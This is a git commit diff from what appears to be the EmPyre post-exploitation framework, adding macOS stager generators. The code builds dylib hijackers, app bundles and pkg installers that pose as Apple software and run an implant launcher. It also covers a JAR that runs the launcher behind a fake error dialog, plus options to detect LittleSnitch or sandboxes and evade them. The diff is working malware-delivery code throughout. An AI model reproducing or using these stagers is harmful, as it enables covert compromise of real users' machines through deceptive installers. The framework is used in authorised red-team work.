Migrated EmPyre stagers from dev branch in EmPyre repo

mdns
xorrior 2016-09-29 11:41:09 -04:00
parent b246236134
commit 460876d8f0
7 changed files with 719 additions and 39 deletions

View File

@ -738,23 +738,48 @@ def post_message(uri, data):
def get_sysinfo(nonce='00000000'):
# nonce | listener | domainname | username | hostname | internal_ip | os_details | os_details | high_integrity | process_name | process_id | language | language_version
username = pwd.getpwuid(os.getuid())[0]
__FAILED_FUNCTION = '[FAILED QUERY]'
uid = os.popen('id -u').read().strip()
highIntegrity = 'True' if (uid == '0') else False
try:
username = pwd.getpwuid(os.getuid())[0]
except Exception as e:
username = __FAILED_FUNCTION
try:
uid = os.popen('id -u').read().strip()
except Exception as e:
uid = __FAILED_FUNCTION
try:
highIntegrity = "True" if (uid == "0") else False
except Exception as e:
highIntegrity = __FAILED_FUNCTION
try:
osDetails = os.uname()
except Exception as e:
osDetails = __FAILED_FUNCTION
try:
hostname = osDetails[1]
except Exception as e:
hostname = __FAILED_FUNCTION
try:
internalIP = socket.gethostbyname(socket.gethostname())
except Exception as e:
internalIP = __FAILED_FUNCTION
try:
osDetails = ",".join(osDetails)
except Exception as e:
osDetails = __FAILED_FUNCTION
try:
processID = os.getpid()
except Exception as e:
processID = __FAILED_FUNCTION
try:
temp = sys.version_info
pyVersion = "%s.%s" % (temp[0],temp[1])
except Exception as e:
pyVersion = __FAILED_FUNCTION
osDetails = os.uname()
hostname = osDetails[1]
internalIP = socket.gethostbyname(socket.gethostname())
osDetails = ",".join(osDetails)
processID = os.getpid()
temp = sys.version_info
pyVersion = "%s.%s" % (temp[0], temp[1])
language = 'python'
# get the current process name
cmd = 'ps %s' % (os.getpid())
ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)
out = ps.stdout.read()

View File

@ -1,21 +0,0 @@
package com.installer.apple;
import java.io.*;
import javax.swing.JOptionPane;
public class Run{
public static void main(String[] args){
String[] cmd = {
"/bin/bash",
"-c",
"LAUNCHER"
};
try {
Process p = Runtime.getRuntime().exec(cmd);
JOptionPane.showMessageDialog(null, "Application Failed to Open", "Error", JOptionPane.INFORMATION_MESSAGE);
}
catch (IOException e){}
}
}

View File

@ -19,6 +19,9 @@ import imp
import helpers
import os
import macholib.MachO
import shutil
import zipfile
import subprocess
class Stagers:
@ -206,3 +209,383 @@ class Stagers:
return patchedDylib
else:
print helpers.color("[!] Unable to patch dylib")
def generate_dylibHijacker(self, attackerDylib, targetDylib, LegitDylibLocation):
LC_HEADER_SIZE = 0x8
def checkPrereqs(attackerDYLIB, targetDYLIB):
if not os.path.exists(targetDYLIB):
print helpers.color("[!] Path for legitimate dylib is not valid")
return False
attacker = open(attackerDYLIB, 'rb')
target = open(targetDYLIB, 'rb')
attackDylib = macholib.MachO.MachO(attacker.name)
targetDylib = macholib.MachO.MachO(target.name)
if attackDylib.headers[0].header.cputype != targetDylib.headers[0].header.cputype:
print helpers.color("[!] Architecture mismatch!")
return False
return True
def findLoadCommand(fileHandle, targetLoadCommand):
#print helpers.color("In findLoadCommand function")
#offset of matches load commands
matchedOffsets = []
try:
macho = macholib.MachO.MachO(fileHandle.name)
if macho:
for machoHeader in macho.headers:
fileHandle.seek(machoHeader.offset, io.SEEK_SET)
fileHandle.seek(machoHeader.mach_header._size_, io.SEEK_CUR)
loadCommands = machoHeader.commands
for loadCommand in loadCommands:
if targetLoadCommand == loadCommand[0].cmd:
matchedOffsets.append(fileHandle.tell())
fileHandle.seek(loadCommand[0].cmdsize, io.SEEK_CUR)
except Exception, e:
raise e
matchedOffsets = None
return matchedOffsets
def configureVersions(attackerDylib, targetDylib):
#print helpers.color("In configureVersions function")
try:
fileHandle = open(targetDylib, 'rb+')
versionOffsets = findLoadCommand(fileHandle, macholib.MachO.LC_ID_DYLIB)
if not versionOffsets or not len(versionOffsets):
return False
fileHandle.seek(versionOffsets[0], io.SEEK_SET)
fileHandle.seek(LC_HEADER_SIZE+0x8, io.SEEK_CUR)
#extract current version
currentVersion = fileHandle.read(4)
#extract compatibility version
compatibilityVersion = fileHandle.read(4)
fileHandle.close()
fileHandle = open(attackerDYLIB, 'rb+')
versionOffsets = findLoadCommand(fileHandle, macholib.MachO.LC_ID_DYLIB)
if not versionOffsets or not len(versionOffsets):
return False
for versionOffset in versionOffsets:
fileHandle.seek(versionOffset, io.SEEK_SET)
fileHandle.seek(LC_HEADER_SIZE+0x8, io.SEEK_CUR)
#set current version
fileHandle.write(currentVersion)
#set compatability version
fileHandle.write(compatibilityVersion)
fileHandle.close()
except Exception, e:
raise e
return True
def configureReExport(attackerDylib, targetDylib, LegitDylibLocation):
try:
fileHandle = open(attackerDylib,'rb+')
reExportOffsets = findLoadCommand(fileHandle, macholib.MachO.LC_REEXPORT_DYLIB)
if not reExportOffsets or not len(reExportOffsets):
return False
for reExportOffset in reExportOffsets:
fileHandle.seek(reExportOffset, io.SEEK_SET)
fileHandle.seek(0x4, io.SEEK_CUR)
commandSize = struct.unpack('<L', fileHandle.read(4))[0]
pathOffset = struct.unpack('<L', fileHandle.read(4))[0]
fileHandle.seek(reExportOffset + pathOffset, io.SEEK_SET)
pathSize = commandSize - (fileHandle.tell() - reExportOffset)
data = LegitDylibLocation + '\\0' * (pathSize - len(LegitDylibLocation))
fileHandle.write(data)
fileHandle.close()
except Exception, e:
raise e
return False
return True
def configure(attackerDylib, targetDylib, LegitDylibLocation):
#print helpers.color("In configure function")
if not configureVersions(attackerDylib, targetDylib):
return False
if not configureReExport(attackerDylib, targetDylib, LegitDylibLocation):
return False
return True
if not checkPrereqs(attackerDYLIB, targetDYLIB):
return ""
if not configure(attackerDylib, targetDylib, LegitDylibLocation):
return ""
hijacker = open(attackerDylib,'rb')
hijackerBytes = hijacker.read()
hijacker.close()
return hijackerBytes
def generate_appbundle(self, launcherCode, Arch, icon, AppName, disarm):
"""
Generates an application. The embedded executable is a macho binary with the python interpreter.
"""
MH_EXECUTE = 2
if Arch == 'x64':
f = open(self.mainMenu.installPath + "/data/misc/apptemplateResources/x64/launcher.app/Contents/MacOS/launcher")
directory = self.mainMenu.installPath + "/data/misc/apptemplateResources/x64/launcher.app/"
else:
f = open(self.mainMenu.installPath + "/data/misc/apptemplateResources/x86/launcher.app/Contents/MacOS/launcher")
directory = self.mainMenu.installPath + "/data/misc/apptemplateResources/x86/launcher.app/"
macho = macholib.MachO.MachO(f.name)
if int(macho.headers[0].header.filetype) != MH_EXECUTE:
print helpers.color("[!] Macho binary template is not the correct filetype")
return ""
cmds = macho.headers[0].commands
for cmd in cmds:
count = 0
if int(cmd[count].cmd) == macholib.MachO.LC_SEGMENT_64 or int(cmd[count].cmd) == macholib.MachO.LC_SEGMENT:
count += 1
if cmd[count].segname.strip('\x00') == '__TEXT' and cmd[count].nsects > 0:
count += 1
for section in cmd[count]:
if section.sectname.strip('\x00') == '__cstring':
offset = int(section.offset)
placeHolderSz = int(section.size) - 52
template = f.read()
f.close()
if placeHolderSz and offset:
launcher = launcherCode + "\x00" * (placeHolderSz - len(launcherCode))
patchedBinary = template[:offset]+launcher+template[(offset+len(launcher)):]
if AppName == "":
AppName = "launcher"
tmpdir = "/tmp/application/%s.app/" % AppName
shutil.copytree(directory, tmpdir)
f = open(tmpdir + "Contents/MacOS/launcher","wb")
if disarm != True:
f.write(patchedBinary)
f.close()
else:
t = open(self.mainMenu.installPath+"/data/misc/apptemplateResources/empty/macho",'rb')
w = t.read()
f.write(w)
f.close()
t.close()
os.rename(tmpdir + "Contents/MacOS/launcher",tmpdir + "Contents/MacOS/%s" % AppName)
os.chmod(tmpdir+"Contents/MacOS/%s" % AppName, 0755)
if icon != '':
iconfile = os.path.splitext(icon)[0].split('/')[-1]
shutil.copy2(icon,tmpdir+"Contents/Resources/"+iconfile+".icns")
else:
iconfile = icon
appPlist = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>BuildMachineOSBuild</key>
<string>15G31</string>
<key>CFBundleDevelopmentRegion</key>
<string>en</string>
<key>CFBundleExecutable</key>
<string>%s</string>
<key>CFBundleIconFile</key>
<string>%s</string>
<key>CFBundleIdentifier</key>
<string>com.apple.%s</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundleName</key>
<string>%s</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleSignature</key>
<string>????</string>
<key>CFBundleSupportedPlatforms</key>
<array>
<string>MacOSX</string>
</array>
<key>CFBundleVersion</key>
<string>1</string>
<key>DTCompiler</key>
<string>com.apple.compilers.llvm.clang.1_0</string>
<key>DTPlatformBuild</key>
<string>7D1014</string>
<key>DTPlatformVersion</key>
<string>GM</string>
<key>DTSDKBuild</key>
<string>15E60</string>
<key>DTSDKName</key>
<string>macosx10.11</string>
<key>DTXcode</key>
<string>0731</string>
<key>DTXcodeBuild</key>
<string>7D1014</string>
<key>LSApplicationCategoryType</key>
<string>public.app-category.utilities</string>
<key>LSMinimumSystemVersion</key>
<string>10.11</string>
<key>LSUIElement</key>
<true/>
<key>NSHumanReadableCopyright</key>
<string>Copyright 2016 Apple. All rights reserved.</string>
<key>NSMainNibFile</key>
<string>MainMenu</string>
<key>NSPrincipalClass</key>
<string>NSApplication</string>
</dict>
</plist>
""" % (AppName, iconfile, AppName, AppName)
f = open(tmpdir+"Contents/Info.plist", "w")
f.write(appPlist)
f.close()
shutil.make_archive("/tmp/launcher", 'zip', "/tmp/application")
shutil.rmtree('/tmp/application')
f = open("/tmp/launcher.zip","rb")
zipbundle = f.read()
f.close()
os.remove("/tmp/launcher.zip")
return zipbundle
else:
print helpers.color("[!] Unable to patch application")
def generate_pkg(self, launcher, bundleZip, AppName):
#unzip application bundle zip. Copy everything for the installer pkg to a temporary location
currDir = os.getcwd()
os.chdir("/tmp/")
f = open("app.zip","wb")
f.write(bundleZip)
f.close()
zipf = zipfile.ZipFile('app.zip','r')
zipf.extractall()
zipf.close()
os.remove('app.zip')
os.system("cp -r "+self.mainMenu.installPath+"/data/misc/pkgbuild/ /tmp/")
os.chdir("pkgbuild")
os.system("cp -r ../"+AppName+".app root/Applications/")
os.system("chmod +x root/Applications/")
os.system("( cd root && find . | cpio -o --format odc --owner 0:80 | gzip -c ) > expand/Payload")
os.system("chmod +x expand/Payload")
s = open('scripts/postinstall','r+')
script = s.read()
script = script.replace('LAUNCHER',launcher)
s.seek(0)
s.write(script)
s.close()
os.system("( cd scripts && find . | cpio -o --format odc --owner 0:80 | gzip -c ) > expand/Scripts")
os.system("chmod +x expand/Scripts")
numFiles = subprocess.check_output("find root | wc -l",shell=True).strip('\n')
size = subprocess.check_output("du -b -s root",shell=True).split('\t')[0]
size = int(size) / 1024
p = open('expand/PackageInfo','w+')
pkginfo = """<?xml version="1.0" encoding="utf-8" standalone="no"?>
<pkg-info overwrite-permissions="true" relocatable="false" identifier="com.apple.APPNAME" postinstall-action="none" version="1.0" format-version="2" generator-version="InstallCmds-554 (15G31)" install-location="/" auth="root">
<payload numberOfFiles="KEY1" installKBytes="KEY2"/>
<bundle path="./APPNAME.app" id="com.apple.APPNAME" CFBundleShortVersionString="1.0" CFBundleVersion="1"/>
<bundle-version>
<bundle id="com.apple.APPNAME"/>
</bundle-version>
<upgrade-bundle>
<bundle id="com.apple.APPNAME"/>
</upgrade-bundle>
<update-bundle/>
<atomic-update-bundle/>
<strict-identifier>
<bundle id="com.apple.APPNAME"/>
</strict-identifier>
<relocate>
<bundle id="com.apple.APPNAME"/>
</relocate>
<scripts>
<postinstall file="./postinstall"/>
</scripts>
</pkg-info>
"""
pkginfo = pkginfo.replace('APPNAME',AppName)
pkginfo = pkginfo.replace('KEY1',numFiles)
pkginfo = pkginfo.replace('KEY2',str(size))
p.write(pkginfo)
p.close()
os.system("mkbom -u 0 -g 80 root expand/Bom")
os.system("chmod +x expand/Bom")
os.system("chmod -R 755 expand/")
os.system('( cd expand && xar --compression none -cf "../launcher.pkg" * )')
f = open('launcher.pkg','rb')
package = f.read()
os.chdir("/tmp/")
shutil.rmtree('pkgbuild')
shutil.rmtree(AppName+".app")
return package
def generate_jar(self, launcherCode):
file = open(self.mainMenu.installPath+'/data/misc/Run.java','r')
javacode = file.read()
file.close()
javacode = javacode.replace("LAUNCHER",launcherCode)
file = open(self.mainMenu.installPath+'data/misc/classes/com/installer/apple/Run.java','w')
file.write(javacode)
file.close()
currdir = os.getcwd()
os.chdir(self.mainMenu.installPath+'data/misc/classes/')
os.system('javac com/installer/apple/Run.java')
os.system('jar -cvfm '+self.mainMenu.installPath+'Run.jar ../Manifest.txt com/installer/apple/Run.class')
os.chdir(currdir)
os.remove(self.mainMenu.installPath+'data/misc/classes/com/installer/apple/Run.class')
os.remove(self.mainMenu.installPath+'data/misc/classes/com/installer/apple/Run.java')
jarfile = open('Run.jar','rb')
jar = jarfile.read()
jarfile.close()
os.remove('Run.jar')
return jar

View File

@ -0,0 +1,100 @@
from lib.common import helpers
class Stager:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Application',
'Author': ['@xorrior'],
'Description': ('Generates an EmPyre Application.'),
'Comments': [
''
]
}
# any options needed by the stager, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Listener' : {
'Description' : 'Listener to generate stager for.',
'Required' : True,
'Value' : ''
},
'Language' : {
'Description' : 'Language of the stager to generate.',
'Required' : True,
'Value' : 'python'
},
'AppIcon' : {
'Description' : 'Path to AppIcon.icns file. The size should be 16x16,32x32,128x128, or 256x256. Defaults to none.',
'Required' : False,
'Value' : ''
},
'AppName' : {
'Description' : 'Name of the Application Bundle. This change will reflect in the Info.plist and the name of the binary in Contents/MacOS/.',
'Required' : False,
'Value' : ''
},
'OutFile' : {
'Description' : 'path to output EmPyre application. The application will be saved to a zip file.',
'Required' : True,
'Value' : '/tmp/out.zip'
},
'SafeChecks' : {
'Description' : 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.',
'Required' : True,
'Value' : 'True'
},
'UserAgent' : {
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
'Required' : False,
'Value' : 'default'
},
'Architecture' : {
'Description' : 'Architecture to use. x86 or x64',
'Required' : True,
'Value' : 'x64'
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
# extract all of our options
language = self.options['Language']['Value']
listenerName = self.options['Listener']['Value']
savePath = self.options['OutFile']['Value']
userAgent = self.options['UserAgent']['Value']
SafeChecks = self.options['SafeChecks']['Value']
arch = self.options['Architecture']['Value']
icnsPath = self.options['AppIcon']['Value']
AppName = self.options['AppName']['Value']
# generate the launcher code
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, userAgent=userAgent, safeChecks=SafeChecks)
if launcher == "":
print helpers.color("[!] Error in launcher command generation.")
return ""
else:
disarm = False
launcher = launcher.strip('echo').strip(' | python &').strip("\"")
ApplicationZip = self.mainMenu.stagers.generate_appbundle(launcherCode=launcher,Arch=arch,icon=icnsPath,AppName=AppName, disarm=disarm)
return ApplicationZip

View File

@ -1,5 +1,5 @@
from lib.common import helpers
import os
class Stager:
@ -31,8 +31,8 @@ class Stager:
'Required' : True,
'Value' : 'python'
},
'Arch' : {
'Description' : 'Arch: x86/x64',
'Architecture' : {
'Description' : 'Architecture: x86/x64',
'Required' : True,
'Value' : 'x86'
},
@ -46,6 +46,16 @@ class Stager:
'Required' : True,
'Value' : 'False'
},
'RPath' : {
'Description' : 'Full path of the legitimate dylib as it would be on a target system.',
'Required' : False,
'Value' : ''
},
'LocalLegitDylib' : {
'Description' : 'Local path to the legitimate dylib used in the vulnerable application. Required if Hijacker is set to True.',
'Required' : False,
'Value' : ''
},
'OutFile' : {
'Description' : 'File to write the dylib.',
'Required' : True,
@ -73,9 +83,11 @@ class Stager:
language = self.options['Language']['Value']
listenerName = self.options['Listener']['Value']
userAgent = self.options['UserAgent']['Value']
arch = self.options['Arch']['Value']
arch = self.options['Architecture']['Value']
hijacker = self.options['Hijacker']['Value']
safeChecks = self.options['SafeChecks']['Value']
legitDylib = self.options['LocalLegitDylib']['Value']
rpath = self.options['RPath']['Value']
if arch == "":
print helpers.color("[!] Please select a valid architecture")
@ -91,4 +103,13 @@ class Stager:
else:
launcher = launcher.strip('echo').strip(' | python &').strip("\"")
dylib = self.mainMenu.stagers.generate_dylib(launcherCode=launcher, arch=arch, hijacker=hijacker)
if hijacker.lower() == 'true' and os.path.exists(legitDylib):
f = open('/tmp/tmp.dylib', 'wb')
f.write(dylib)
f.close()
dylib = self.mainMenu.stagers.generate_dylibHijacker(attackerDylib="/tmp/tmp.dylib", targetDylib=legitDylib, LegitDylibLocation=rpath)
os.remove('/tmp/tmp.dylib')
return dylib

77
lib/stagers/osx/jar.py Normal file
View File

@ -0,0 +1,77 @@
from lib.common import helpers
class Stager:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Jar',
'Author': ['@xorrior'],
'Description': ('Generates a JAR file.'),
'Comments': [
''
]
}
# any options needed by the stager, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Listener' : {
'Description' : 'Listener to generate stager for.',
'Required' : True,
'Value' : ''
},
'Language' : {
'Description' : 'Language of the stager to generate.',
'Required' : True,
'Value' : 'python'
},
'SafeChecks' : {
'Description' : 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.',
'Required' : True,
'Value' : 'True'
},
'OutFile' : {
'Description' : 'File to output duckyscript to.',
'Required' : True,
'Value' : '/tmp/out.jar'
},
'UserAgent' : {
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
'Required' : False,
'Value' : 'default'
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
# extract all of our options
language = self.options['Language']['Value']
listenerName = self.options['Listener']['Value']
userAgent = self.options['UserAgent']['Value']
SafeChecks = self.options['SafeChecks']['Value']
# generate the launcher code
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, userAgent=userAgent, safeChecks=SafeChecks)
if launcher == "":
print helpers.color("[!] Error in launcher command generation.")
return ""
else:
launcher = launcher.replace('"','\\"')
jarBytes = self.mainMenu.stagers.generate_jar(launcherCode=launcher)
return jarBytes

95
lib/stagers/osx/pkg.py Normal file
View File

@ -0,0 +1,95 @@
from lib.common import helpers
class Stager:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'pkg',
'Author': ['@xorrior'],
'Description': ('Generates a pkg installer. The installer will copy a custom (empty) application to the /Applications folder. The postinstall script will execute an EmPyre launcher.'),
'Comments': [
''
]
}
# any options needed by the stager, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Listener' : {
'Description' : 'Listener to generate stager for.',
'Required' : True,
'Value' : ''
},
'Language' : {
'Description' : 'Language of the stager to generate.',
'Required' : True,
'Value' : 'python'
},
'AppIcon' : {
'Description' : 'Path to AppIcon.icns file. The size should be 16x16,32x32,128x128, or 256x256. Defaults to none.',
'Required' : False,
'Value' : ''
},
'AppName' : {
'Description' : 'Name of the Application Bundle. This change will reflect in the Info.plist and the name of the binary in Contents/MacOS/.',
'Required' : False,
'Value' : ''
},
'OutFile' : {
'Description' : 'File to write dmg volume to.',
'Required' : True,
'Value' : '/tmp/out.pkg'
},
'SafeChecks' : {
'Description' : 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.',
'Required' : True,
'Value' : 'True'
},
'UserAgent' : {
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
'Required' : False,
'Value' : 'default'
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
# extract all of our options
language = self.options['Language']['Value']
listenerName = self.options['Listener']['Value']
userAgent = self.options['UserAgent']['Value']
SafeChecks = self.options['SafeChecks']['Value']
icnsPath = self.options['AppIcon']['Value']
AppName = self.options['AppName']['Value']
arch = 'x64'
# generate the launcher code
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, userAgent=userAgent, safeChecks=SafeChecks)
if launcher == "":
print helpers.color("[!] Error in launcher command generation.")
return ""
else:
if AppName == '':
AppName = "Update"
Disarm=True
launcherCode = launcher.strip('echo').strip(' | python &').strip("\"")
ApplicationZip = self.mainMenu.stagers.generate_appbundle(launcherCode=launcherCode,Arch=arch,icon=icnsPath,AppName=AppName,disarm=Disarm)
pkginstaller = self.mainMenu.stagers.generate_pkg(launcher=launcher,bundleZip=ApplicationZip,AppName=AppName)
return pkginstaller